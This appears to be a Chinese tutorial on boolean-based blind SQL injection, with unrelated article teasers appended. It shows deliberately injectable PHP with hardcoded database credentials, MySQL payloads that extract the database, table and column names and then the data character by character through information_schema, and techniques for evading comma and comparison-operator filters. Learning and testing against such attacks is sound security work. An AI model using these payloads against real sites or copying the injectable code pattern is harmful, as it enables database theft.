SQL注入利用 学习- 布尔盲注

布尔盲注适用场景:

1、WAF或者过滤函数完全过滤掉union关键字

2、页面中不再回显具体数据,但是在SQL语句执行成功或失败返回不同的内容

代码分析:过滤关键字 union

if(preg_match('/union/i', $id))
{
echo "fail";
exit;
}

代码分析:数据不会回显

$conn = mysql_connect('localhost','root','123456') or die('连接数据库失败!');
mysql_query('set names utf-8',$conn);
mysql_query('use web_sql',$conn);
$sql = "select * from person where id = {$id}";
$res = mysql_query($sql,$conn) or die(mysql_error());
$row = mysql_fetch_array($res);
if($row){
$flag = "success";
}else{
$flag = "fail";
}

布尔注入原理:

利用 逻辑关系对SQL语句进行“干预”。

例如 select * from article where id = 1

如果拼接and 1=1 恒为真,输 出正确情况。

如果拼接 and 1=2 恒为假,输出错误情况。

此时可以确定 and 1=1 和 and 1=2 返回不同结果,此时id参数存在SQL注入漏洞。

布尔盲注实验

1、获取数据库名称

遍历数据库长度的字符,最终找到数据名称:web_sql

and+length(database())>=num #根据页面返回长度判断数据库长度
and+substr(database(),1,1)='a' #逐字遍历(替换a) #substr substring mid 都可以截取字符串其中一部分
如果过滤引号,可以适用 and+ascii(substr(database(),1,1)) = 96 #根据ascii值判断 ord 也可以实 现

2、获取数据表名称

其中 limit m,n m为起始位置,n为长度。 limit 0,1 获取第一个数据。

and ord(mid((select table_name from information_schema.tables where table_schema='web_sql' limit 2,1),1,1)) = 96

3、获取字段名称

and ord(mid((select column_name from information_schema.columns where table_name='admin' limit 2,1),1,1)) = 97

4、获取数值部分

and ord(mid((select 字段 from 表名),1,1)) = 97

布尔盲注过滤绕过技巧:

绕过核心就是将布尔利用技术中的关键字进行替换

and ord(mid((select table_name from information_schema.tables where table_schema='web_sql' limit 2,1),1,1)) = 96

1、过滤逗号绕过技巧

在进行盲注过程中,可能需要substr(),mid(),limit等函数或操作符,此时要用到逗号。如果逗号被过滤可 以使用以下技巧。

mid(username,1,1) 等价于 mid(username from 1 for 1)
substr(username,1,1) 等价于 substr(username from 1 for 1)
select * from admin limit 1,1 等价于 select * from admin limit 1 offset 1;

2、过滤比较运算符技巧

在进行盲注过程中,需要适用大于或小于比较运算符。如果过滤,可以使用以下技巧 。

greatest(n1, n2, n3…):返回n中的最大值
greatest(ascii(substr(username,1,1)),1)=97;
least(n1,n2,n3…):返回n中的最小值
strcmp(str1,str2):若所有的字符串均相同,则返回0,若根据当前分类次序,第一个参数小于第二个,则返回
-1,其它情况返回 1
substr(username,1,1) in ('t');
between a and b:范围在a-b之间
and substr(username,1,1) between 'a' and 't';
and substr(username,1,1) between 't' and 't';

 实验:完成题目过滤绕过

过滤代码 preg_match("/union|and|benchmark|ascii|substr|,|>|<|=|\s+/i",$sql)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/535429.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

软考122-上午题-【软件工程】-需求分析

一、软件需求 在进行需求获取之前&#xff0c;首先要明确需要获取什么&#xff0c;也就是需求包含哪些内容。 软件需求是指用户对目标软件系统在功能、行为、性能、设计约束等方面的期望。通常&#xff0c;这些需求包括功能需求、性能需求、用户或人的因素、环境需求、界面需…

Pycharm远程连接服务器配置详解

背景&#xff1a; 相信很多人都遇到了这种情况&#xff0c;日常的开发和程序的验证都需要在linux环境下验证&#xff0c;而我们都是使用本地windows来进行开发或者脚本的编写&#xff0c;然后再push到远程仓库&#xff0c;再到linux环境下pull下来代码验证&#xff0c;这样每次…

算法与程序设计(实验2)----分治法求最近点对问题

一&#xff0e;实验目的 掌握分治法思想。学会最近点对问题求解方法。 二、实验内容 1. 对于平面上给定的N个点&#xff0c;给出具有最短距离的两点。 2. 要求随机生成N个点的平面坐标&#xff0c;应用蛮力法编程计算出所有点对的最短距离。 3. 要求随机生成N个点的平面坐…

Gateway的简单介绍和使用

1、Gateway简介&#xff1a; Gateway 是一种 API 网关&#xff08;API Gateway&#xff09;技术&#xff0c;它作为微服务架构中的关键组件&#xff0c;负责为系统的外部请求与内部服务之间提供统一的接入点。Spring Cloud Gateway 是基于 Spring 生态系统实现的一个高性能、易…

基于SpringBoot+Vue的古风生活体验交流网站(源码+文档+部署+讲解)

一.系统概述 二十一世纪我们的社会进入了信息时代&#xff0c;信息管理系统的建立&#xff0c;大大提高了人们信息化水平。传统的管理方式对时间、地点的限制太多&#xff0c;而在线管理系统刚好能满足这些需求&#xff0c;在线管理系统突破了传统管理方式的局限性。于是本文针…

天工 AI 爆赞的数据分析能力

分享一个 AI 应用。 天工 AI 天工AI - 首页 (tiangong.cn) 可以上传数据&#xff0c;给出数据分析命令&#xff0c;并能出图。 数据分析师岌岌可危。 又知道其他好用的数据分析应用么&#xff0c;可以告诉我下。

MobX 中 runInAction 的威力:构建原子性状态更新

"原子性状态更新"这个词可以很好地概括 runInAction 的核心功能,即将一组相关的状态更新作为一个整体,要么全部成功,要么全部失败。这种特性对于复杂的异步操作和状态管理非常重要。可以帮助我们构建更加可靠和可预测的 React 应用程序。 怎么理解原子性操作 "…

为什么忘记密码要重置密码而不是直接告诉你密码?

上一篇博客&#xff1a;LeetCode 2529. 正整数和负整数的最大计数 写在前面&#xff1a;大家好&#xff01;我是晴空๓。如果博客中有不足或者的错误的地方欢迎在评论区或者私信我指正&#xff0c;感谢大家的不吝赐教。我的唯一博客更新地址是&#xff1a;https://ac-fun.blog.…

Tensorflow(GPU版本配置)一步到位!!!

Tensorflow&#xff08;GPU版本配置&#xff09;一步到位&#xff01;&#xff01;&#xff01; CUDA安装CUDA配置Tensorflow配置常见的包 CUDA安装 配置了N次的Tensorflow–Gpu版本&#xff0c;完成了踩坑&#xff0c;这里以配置Tensorflow_gpu 2.6.0为例子进行安装 以下为ten…

React + three.js 3D模型面部表情控制

系列文章目录 React 使用 three.js 加载 gltf 3D模型 | three.js 入门React three.js 3D模型骨骼绑定React three.js 3D模型面部表情控制 示例项目(github)&#xff1a;https://github.com/couchette/simple-react-three-facial-expression-demo 示例项目(gitcode)&#xff…

Linux网络名称空间和cgroup的关系

在Linux系统中&#xff0c;网络名称空间&#xff08;Network Namespaces&#xff09;和控制组&#xff08;cgroups&#xff09;是两种重要的资源管理和隔离技术。虽然它们在功能和应用场景上有所不同&#xff0c;但二者共同为Linux容器技术&#xff0c;如Docker和Kubernetes&am…

编程规范(保姆级教程)

文章目录 为什么需要编程规范&#xff1f;&#x1f4a1;代码检测工具 ESLint&#x1f4a1;代码格式化 Prettier&#x1f4a1;ESLint 与 Prettier 配合解决代码格式问题eslint支持ts约定式提交规范Commitizen助你规范化提交代码什么是 Git Hooks使用 husky commitlint 检查提交…

wsl初步使用记录

wsl介绍 WSL是windows平台下Linux环境的子系统&#xff08;Windows Subsyetem for Linux&#xff09;&#xff0c;可以让Windows下方便的安装Linux系统&#xff0c;而无需安装其他虚拟机软件。 wsl使用 Windows操作系统支持 Windows 10 版本 2004 及更高版本&#xff08;内…

OpenHarmony南向开发案例:【智能保险柜】

样例简介 智能保险柜实时监测保险柜中振动传感器&#xff0c;当有振动产生时及时向用户发出警报。在连接网络后&#xff0c;配合数字管家应用&#xff0c;用户可以远程接收智能保险柜的报警信息。后续可扩展摄像头等设备&#xff0c;实现对危险及时报警&#xff0c;及时处理&a…

缝合的作品(并查集/逆序)

、思路&#xff1a;首先是并查集来做&#xff0c;首先给给每个单词一个id&#xff0c;然后把它放到ans[i]处。 对于操作1&#xff1a;把a单词换为单词b&#xff0c;就相当于a、b两个集合结合。然后再给a单词赋一个新的id&#xff0c;用来进行操作2&#xff0c;因为之后的操作2…

HarmonyOS实战开发-证书管理、如何实现对签名数据进行校验功能。

介绍 本示例使用了ohos.security.certManager相关接口实现了对签名数据进行校验的功能。 实现场景如下&#xff1a; 1&#xff09;使用正确的原始数据和签名数据进行签名校验场景&#xff1a;模拟服务端对签名数据进行校验&#xff0c;验证客户端身份和原始数据完整性。 2&…

车载摄像头图像及画质增强解决方案

车载摄像头作为汽车智能化、安全化的关键组件&#xff0c;其图像质量直接影响着驾驶者的视觉感知和行车安全。美摄科技凭借其在图像处理和AI算法领域的深厚积累&#xff0c;推出了一款专为车载摄像头打造的图像及画质增强解决方案&#xff0c;助力企业实现摄像头画面的实时优化…

基于“遥感+”蓝碳储量估算、红树林信息提取实践技术应用与科研论文写作

大气温室气体浓度不断增加&#xff0c;导致气候变暖加剧&#xff0c;随之会引发一系列气象、生态和环境灾害。如何降低温室气体浓度和应对气候变化已成为全球关注的焦点。海洋是地球上最大的“碳库”,“蓝碳”即海洋活动以及海洋生物&#xff08;特别是红树林、盐沼和海草&…

电商技术揭秘十九:电商平台的智能化与自动化技术

相关系列文章 电商技术揭秘一&#xff1a;电商架构设计与核心技术 电商技术揭秘二&#xff1a;电商平台推荐系统的实现与优化 电商技术揭秘三&#xff1a;电商平台的支付与结算系统 电商技术揭秘四&#xff1a;电商平台的物流管理系统 电商技术揭秘五&#xff1a;电商平台…

✔ ★Java项目——设计一个消息队列(二)

Java项目——设计一个消息队列 四. 项⽬创建五. 创建核⼼类创建 Exchange&#xff08;名字、类型、持久化&#xff09;创建 MSGQueue&#xff08;名字、持久化、独占标识&#xff09;创建 Binding&#xff08;交换机名字、队列名字、bindingKey用于与routingKey匹配&#xff09…